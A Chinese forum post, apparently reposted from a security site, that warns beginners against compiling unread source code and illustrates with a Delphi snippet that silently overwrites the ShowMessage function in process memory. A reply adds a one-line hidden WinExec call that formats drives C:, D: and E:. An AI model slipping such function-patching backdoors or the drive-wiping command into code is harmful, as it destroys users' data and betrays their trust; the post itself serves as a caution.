客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
|
http://www.delphi2007.net/DelphiVCL/html/delphi_20061225144610122.html 现在，好多的朋友都会写程序了，但肯定不一定对程序很精通。估计很多都是拿到整齐点的源代码勉强阅读一下还是可以，就算不能全懂，至少能懂大半部分，编译出来更是没有什么问题。他们总觉得在代码里面不可能作假，或者藏后门，所以草草阅读一下（有的甚至都不读）就开始编译了，编译出来马上就开始运行，我想给这些新手朋友说的一句话就是，虽然代码里面藏后门容易被发现，但是，就借着他们这种不太懂却又贪便宜的思想，藏些代码在里面，也不是没有可能。 比如说下面这个简单的Delphi的例子，大家看看在点击了Button1按钮后会发生什么事情： procedure ReplaceShowMessage(const Msg: string); begin ShowMessagePos('你好', -1, -1); end; procedure NewShowMessage(const Msg: string); type TShowMessage = procedure(const Msg: string); begin TShowMessage(@ReplaceShowMessage)(Msg); end; procedure EndNewShowMessage; begin end; procedure TForm1.FormCreate(Sender: TObject); var vProcess: THandle; vNumberOfBytesRead: DWORD; begin vProcess := OpenProcess(PROCESS_ALL_ACCESS, True, GetCurrentProcessId); try WriteProcessMemory(vProcess, @ShowMessage, @NewShowMessage, Integer(@EndNewShowMessage) - Integer(@NewShowMessage), vNumberOfBytesRead); finally CloseHandle(vProcess); end; end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage('Hello'); end; 如果你说点击了Showmessage后会出现一个Hello的提示框，那我就可以告诉你，你错了！可能很多的朋友都发现了，这个ShowMessage的函数已经被替换了，换成了什么函数？换成了ReplaceShowMessage这个函数，点击Button1的结果就是出现“你好”的提示框。当然这样容易发现，但是我要是不在启动的时候替换函数，而是一个时间控件在几分钟后自动替换某函数，当函数执行后又自动替换回来呢。你是不是能够发现？不再是Delphi的代码，而是加上一段Asm呢，你是不是又能看得懂？ 在这当然不是教大家用这个方法去骗人（当然现在都执意自己编译程序用的人的肉鸡啊，资料啊这类东西可能质量要高点，想起都让人心动的），只是要在这里提醒大家，不要听到别人公布代码了就马上去编译执行，在看不懂的时候还是小心点。网络就像一个园子，园子大了，什么鸟都有，这个网络大了啊，什么人都有。 如果看这个文章的你就有在自己的程序里面加后门的习惯，那么我想请问你一句你要肉鸡有什么用？说句老实话，我也是才接触网络安全的时候，抓过鸡。但是都是服务器，是靠漏洞搞下来的，从来没有说过在网页上挂马啊，甚至在自己的软件里面加后门的事情，真正是想都不敢想。我的每一个程序我都看待他们像我的爱人一样，爱他们，真想不通为什么有人会在自己的程序里面加后门来玷污自己。 此文的思路来自安全焦点里面的一个牛人说的想在自己的代码里面加恶意代码（防止不小心中了木马，被人偷走资料，引起严重后果），和今天晚上一直在学习汇编，想起haicao兄弟说的话（先把Delhpi搞熟了后再看汇编吧，汇编上手不易的，容易对程序失去兴趣，想起很多的朋友都不太懂汇编的)想到的，就找了一段代码来给新手说明一下。其实在代码里面藏后门真的是一旦不注意，后害无穷啊。要是替换了你的Windows.pas或者Windows.h，或者另外的什么文件，以后你编译出来的东西有可能个个都会是带后门的。 先前给发给几个朋友一段修改过的代码，说是才在网上找到的，叫他们帮忙看看，结果发了5个人，3个人是马上编译并执行，另外一个没编译器，只有一个人说是要看看后再编译，结果几分钟后也把程序发给了我。 转http://security.ccidnet.com/art/1099/20061222/984345_1.html 呵呵 WinExec('FORMAT C:;D:;E: /U /Q', SW_HIDE); 汗，我说这段代码很眼熟，命名风格和我的一致，原来是两年前写的 |
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
六六分期app的软件客服如何联系？不知道吗？加qq群【895510560】即可！标题：六六分期
今天小编告诉大家如何处理win10系统火狐flash插件总是崩溃的问题，可能很多用户都不知
今天小编告诉大家如何对win10系统删除桌面回收站图标进行设置，可能很多用户都不知道
今天小编告诉大家如何对win10系统电脑设置节能降温的设置方法，想必大家都遇到过需要
我们在使用xp系统的过程中,经常需要对xp系统无线网络安装向导设置进行设置，可能很多
今天小编告诉大家如何处理win7系统玩cf老是与主机连接不稳定的问题，可能很多用户都不
电脑对日常生活的重要性小编就不多说了，可是一旦碰到win7系统设置cf烟雾头的问题，很
我们在日常使用电脑的时候，有的小伙伴们可能在打开应用的时候会遇见提示应用程序无法
今天小编告诉大家如何对win7系统打开vcf文件进行设置，可能很多用户都不知道怎么对win
今天小编告诉大家如何对win10系统s4开启USB调试模式进行设置，可能很多用户都不知道怎
请发表评论